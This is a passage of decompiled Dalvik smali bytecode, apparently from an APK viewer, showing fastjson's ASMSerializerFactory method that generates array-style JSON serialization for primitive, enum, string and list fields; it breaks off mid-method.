                                                • writeAsArrayNonContext
                                                • writeWithFieldName
                                                • (Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V
                                                • (Ljava/lang/Object;Ljava/lang/Object;)V
                                                • field_
                                                • fied_ser
                                                • writeWithFormat
                                                • (Ljava/lang/Object;Ljava/lang/String;)V
                                                • _asm_fieldType
                                                • Ljava/lang/reflect/Type;
                                                • writeInt
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Ljava/lang/Class<",
                                                4"*>;",
                                                5"Lcom/alibaba/fastjson/asm/MethodVisitor;",
                                                6"[",
                                                7"Lcom/alibaba/fastjson/util/FieldInfo;",
                                                8"Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;",
                                                9")V"
                                                10}
                                                11.end annotation
                                                12.annotation system Ldalvik/annotation/Throws;
                                                13value = {
                                                14Ljava/lang/Exception;
                                                15}
                                                16.end annotation
                                                17move-object/from16 v0, p0
                                                18move-object/from16 v1, p2
                                                19move-object/from16 v2, p3
                                                20move-object/from16 v3, p4
                                                22const-string v4, "out"
                                                24invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                25move-result v5
                                                26const/16 v6, 0x19
                                                28invoke-interface {v1, v6, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                29const/16 v5, 0x10
                                                30const/16 v7, 0x5b
                                                32invoke-interface {v1, v5, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                34sget-object v7, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                36const-string v8, "(I)V"
                                                38const-string v9, "write"
                                                39const/16 v10, 0xb6
                                                41invoke-interface {v1, v10, v7, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                42array-length v7, v2
                                                43if-nez v7, :cond_3a
                                                45invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                46move-result v2
                                                48invoke-interface {v1, v6, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                49const/16 v2, 0x5d
                                                51invoke-interface {v1, v5, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                53sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                55invoke-interface {v1, v10, v2, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                56return-void
                                                57cond_3a: const/4 v11, 0x0
                                                58goto_3b: if-ge v11, v7, :cond_7f4
                                                59add-int/lit8 v12, v7, -0x1
                                                60if-ne v11, v12, :cond_44
                                                61const/16 v12, 0x5d
                                                62goto/16 :goto_46
                                                63cond_44: const/16 v12, 0x2c
                                                64goto_46: aget-object v13, v2, v11
                                                66iget-object v14, v13, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                68iget-object v15, v13, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                70invoke-interface {v1, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                71sget v15, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->fieldName:I
                                                72const/16 v5, 0x3a
                                                74invoke-interface {v1, v5, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                76sget-object v15, Ljava/lang/Byte;->TYPE:Ljava/lang/Class;
                                                77const/16 v5, 0x59
                                                78if-eq v14, v15, :cond_7b7
                                                80sget-object v15, Ljava/lang/Short;->TYPE:Ljava/lang/Class;
                                                81if-eq v14, v15, :cond_7b7
                                                83sget-object v15, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                84if-ne v14, v15, :cond_66
                                                85goto/16 :goto_7b7
                                                86cond_66:
                                                87sget-object v15, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                88if-ne v14, v15, :cond_99
                                                90invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                91move-result v14
                                                93invoke-interface {v1, v6, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                95invoke-interface {v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                97invoke-direct {v0, v1, v3, v13}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_get(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                99sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                101const-string v13, "writeLong"
                                                103const-string v14, "(J)V"
                                                105invoke-interface {v1, v10, v5, v13, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                106const/16 v5, 0x10
                                                108invoke-interface {v1, v5, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                110sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                112invoke-interface {v1, v10, v5, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                113goto_8a: move-object v2, v0
                                                114move-object v0, v4
                                                115move/from16 v18, v7
                                                116move-object v5, v8
                                                117move/from16 v19, v11
                                                118const/16 v4, 0x19
                                                119const/16 v6, 0x10
                                                120const/16 v8, 0xb6
                                                121goto/16 :goto_7e3
                                                122cond_99:
                                                123sget-object v15, Ljava/lang/Float;->TYPE:Ljava/lang/Class;
                                                124if-ne v14, v15, :cond_c2
                                                126invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                127move-result v14
                                                129invoke-interface {v1, v6, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                131invoke-interface {v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                133invoke-direct {v0, v1, v3, v13}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_get(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                134const/4 v5, 0x4
                                                136invoke-interface {v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                138sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                140const-string v13, "writeFloat"
                                                142const-string v14, "(FZ)V"
                                                144invoke-interface {v1, v10, v5, v13, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                145const/16 v5, 0x10
                                                147invoke-interface {v1, v5, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                149sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                151invoke-interface {v1, v10, v5, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                152goto/16 :goto_8a
                                                153cond_c2:
                                                154sget-object v15, Ljava/lang/Double;->TYPE:Ljava/lang/Class;
                                                155if-ne v14, v15, :cond_eb
                                                157invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                158move-result v14
                                                160invoke-interface {v1, v6, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                162invoke-interface {v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                164invoke-direct {v0, v1, v3, v13}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_get(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                165const/4 v5, 0x4
                                                167invoke-interface {v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                169sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                171const-string v13, "writeDouble"
                                                173const-string v14, "(DZ)V"
                                                175invoke-interface {v1, v10, v5, v13, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                176const/16 v5, 0x10
                                                178invoke-interface {v1, v5, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                180sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                182invoke-interface {v1, v10, v5, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                183goto/16 :goto_8a
                                                184cond_eb:
                                                185sget-object v15, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                186if-ne v14, v15, :cond_10f
                                                188invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                189move-result v14
                                                191invoke-interface {v1, v6, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                193invoke-interface {v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                195invoke-direct {v0, v1, v3, v13}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_get(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                197sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                199const-string v13, "(Z)V"
                                                201invoke-interface {v1, v10, v5, v9, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                202const/16 v5, 0x10
                                                204invoke-interface {v1, v5, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                206sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                208invoke-interface {v1, v10, v5, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                209goto/16 :goto_8a
                                                210cond_10f:
                                                211sget-object v15, Ljava/lang/Character;->TYPE:Ljava/lang/Class;
                                                212if-ne v14, v15, :cond_138
                                                214invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                215move-result v5
                                                217invoke-interface {v1, v6, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                219invoke-direct {v0, v1, v3, v13}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_get(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                220const/16 v5, 0xb8
                                                222const-string v13, "java/lang/Character"
                                                224const-string v14, "toString"
                                                226const-string v15, "(C)Ljava/lang/String;"
                                                228invoke-interface {v1, v5, v13, v14, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                229const/16 v15, 0x10
                                                231invoke-interface {v1, v15, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                233sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                235const-string v12, "writeString"
                                                237const-string v13, "(Ljava/lang/String;C)V"
                                                239invoke-interface {v1, v10, v5, v12, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                240goto/16 :goto_8a
                                                241cond_138: const/16 v15, 0x10
                                                242const-class v5, Ljava/lang/String;
                                                243if-ne v14, v5, :cond_156
                                                245invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                246move-result v5
                                                248invoke-interface {v1, v6, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                250invoke-direct {v0, v1, v3, v13}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_get(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                252invoke-interface {v1, v15, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                254sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                256const-string v12, "writeString"
                                                258const-string v13, "(Ljava/lang/String;C)V"
                                                260invoke-interface {v1, v10, v5, v12, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                261goto/16 :goto_8a
                                                262cond_156:
                                                263invoke-virtual {v14}, Ljava/lang/Class;->isEnum()Z
                                                264move-result v5
                                                265if-eqz v5, :cond_180
                                                267invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                268move-result v5
                                                270invoke-interface {v1, v6, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                271const/16 v5, 0x59
                                                273invoke-interface {v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                275invoke-direct {v0, v1, v3, v13}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_get(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                277sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                279const-string v13, "writeEnum"
                                                281const-string v14, "(Ljava/lang/Enum;)V"
                                                283invoke-interface {v1, v10, v5, v13, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                284const/16 v5, 0x10
                                                286invoke-interface {v1, v5, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                288sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                290invoke-interface {v1, v10, v5, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                291goto/16 :goto_8a
                                                292cond_180: const-class v5, Ljava/util/List;
                                                294invoke-virtual {v5, v14}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                295move-result v5
                                                296if-eqz v5, :cond_53d
                                                298iget-object v5, v13, Lcom/alibaba/fastjson/util/FieldInfo;->fieldType:Ljava/lang/reflect/Type;
                                                299instance-of v14, v5, Ljava/lang/Class;
                                                300if-eqz v14, :cond_191
                                                301const-class v5, Ljava/lang/Object;
                                                302goto/16 :goto_19a
                                                303cond_191: check-cast v5, Ljava/lang/reflect/ParameterizedType;
                                                305invoke-interface {v5}, Ljava/lang/reflect/ParameterizedType;->getActualTypeArguments()[Ljava/lang/reflect/Type;
                                                306move-result-object v5
                                                307const/4 v14, 0x0
                                                308aget-object v5, v5, v14
                                                309goto_19a: instance-of v14, v5, Ljava/lang/Class;
                                                310if-eqz v14, :cond_1a5
                                                311move-object v14, v5
                                                312check-cast v14, Ljava/lang/Class;
                                                313const-class v15, Ljava/lang/Object;
                                                314if-ne v14, v15, :cond_1a6
                                                315cond_1a5: const/4 v14, 0x0
                                                316cond_1a6:
                                                317invoke-direct {v0, v1, v3, v13}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_get(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                318const/16 v15, 0xc0
                                                320const-string v10, "java/util/List"
                                                322invoke-interface {v1, v15, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                324const-string v10, "list"
                                                326invoke-virtual {v3, v10}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                327move-result v15
                                                328const/16 v6, 0x3a
                                                330invoke-interface {v1, v6, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                331const-class v6, Ljava/lang/String;
                                                332if-ne v14, v6, :cond_1ee
                                                334invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                335move-result v6
                                                336if-eqz v6, :cond_1ee
                                                338invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                339move-result v5
                                                340const/16 v6, 0x19
                                                342invoke-interface {v1, v6, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                344invoke-virtual {v3, v10}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                345move-result v5
                                                347invoke-interface {v1, v6, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                349sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                351const-string v6, "(Ljava/util/List;)V"
                                                352const/16 v10, 0xb6
                                                354invoke-interface {v1, v10, v5, v9, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                355move-object v0, v4
                                                356move/from16 v18, v7
                                                357move-object v6, v8
                                                358move/from16 v19, v11
                                                359move/from16 v20, v12
                                                360const/16 v4, 0x19
                                                361const/16 v5, 0x10
                                                362const/16 v7, 0xb6
                                                363goto/16 :goto_521
                                                364cond_1ee: new-instance v6, Lcom/alibaba/fastjson/asm/Label;
                                                366invoke-direct {v6}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                367new-instance v15, Lcom/alibaba/fastjson/asm/Label;
                                                369invoke-direct {v15}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                371invoke-virtual {v3, v10}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                372move-result v2
                                                373move/from16 v18, v7
                                                374const/16 v7, 0x19
                                                376invoke-interface {v1, v7, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                377const/16 v2, 0xc7
                                                379invoke-interface {v1, v2, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                381invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                382move-result v2
                                                384invoke-interface {v1, v7, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                386sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                388const-string v7, "writeNull"
                                                389move/from16 v19, v11
                                                391const-string v11, "()V"
                                                392move/from16 v20, v12
                                                393const/16 v12, 0xb6
                                                395invoke-interface {v1, v12, v2, v7, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                396const/16 v2, 0xa7
                                                398invoke-interface {v1, v2, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                400invoke-interface {v1, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                402invoke-virtual {v3, v10}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                403move-result v2
                                                404const/16 v7, 0x19
                                                406invoke-interface {v1, v7, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                407const/16 v2, 0xb9
                                                409const-string v11, "java/util/List"
                                                411const-string v12, "size"
                                                413const-string v15, "()I"
                                                415invoke-interface {v1, v2, v11, v12, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                416const/16 v2, 0x36
                                                418const-string v11, "size"
                                                420invoke-virtual {v3, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                421move-result v11
                                                423invoke-interface {v1, v2, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                425invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                426move-result v2
                                                428invoke-interface {v1, v7, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                429const/16 v2, 0x5b
                                                430const/16 v7, 0x10
                                                432invoke-interface {v1, v7, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                434sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                435const/16 v7, 0xb6
                                                437invoke-interface {v1, v7, v2, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                438new-instance v2, Lcom/alibaba/fastjson/asm/Label;
                                                440invoke-direct {v2}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                441new-instance v7, Lcom/alibaba/fastjson/asm/Label;
                                                443invoke-direct {v7}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                444new-instance v11, Lcom/alibaba/fastjson/asm/Label;
                                                446invoke-direct {v11}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                447const/4 v12, 0x3
                                                449invoke-interface {v1, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                450const/16 v12, 0x36
                                                452const-string v15, "i"
                                                453move-object/from16 v17, v6
                                                455invoke-virtual {v3, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                456move-result v6
                                                458invoke-interface {v1, v12, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                460invoke-interface {v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                462invoke-virtual {v3, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                463move-result v6
                                                464const/16 v12, 0x15
                                                466invoke-interface {v1, v12, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                468const-string v6, "size"
                                                470invoke-virtual {v3, v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                471move-result v6
                                                473invoke-interface {v1, v12, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                474const/16 v6, 0xa2
                                                476invoke-interface {v1, v6, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                478invoke-virtual {v3, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                479move-result v6
                                                481invoke-interface {v1, v12, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                482const/16 v6, 0x99
                                                484invoke-interface {v1, v6, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                486invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                487move-result v6
                                                488const/16 v12, 0x19
                                                490invoke-interface {v1, v12, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                491const/16 v6, 0x2c
                                                492const/16 v12, 0x10
                                                494invoke-interface {v1, v12, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                496sget-object v6, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                497const/16 v12, 0xb6
                                                499invoke-interface {v1, v12, v6, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                501invoke-interface {v1, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                503invoke-virtual {v3, v10}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                504move-result v6
                                                505const/16 v7, 0x19
                                                507invoke-interface {v1, v7, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                509invoke-virtual {v3, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                510move-result v6
                                                511const/16 v7, 0x15
                                                513invoke-interface {v1, v7, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                514const/16 v6, 0xb9
                                                516const-string v7, "java/util/List"
                                                518const-string v10, "get"
                                                520const-string v12, "(I)Ljava/lang/Object;"
                                                522invoke-interface {v1, v6, v7, v10, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                524const-string v6, "list_item"
                                                526invoke-virtual {v3, v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                527move-result v7
                                                528const/16 v10, 0x3a
                                                530invoke-interface {v1, v10, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                531new-instance v7, Lcom/alibaba/fastjson/asm/Label;
                                                533invoke-direct {v7}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                534new-instance v10, Lcom/alibaba/fastjson/asm/Label;
                                                536invoke-direct {v10}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                538invoke-virtual {v3, v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                539move-result v12
                                                540move-object/from16 v21, v8
                                                541const/16 v8, 0x19
                                                543invoke-interface {v1, v8, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                544const/16 v12, 0xc7
                                                546invoke-interface {v1, v12, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                548invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                549move-result v12
                                                551invoke-interface {v1, v8, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                553sget-object v8, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                555const-string v12, "writeNull"
                                                556move-object/from16 v22, v4
                                                558const-string v4, "()V"
                                                559move-object/from16 v23, v11
                                                560const/16 v11, 0xb6
                                                562invoke-interface {v1, v11, v8, v12, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                563const/16 v4, 0xa7
                                                565invoke-interface {v1, v4, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
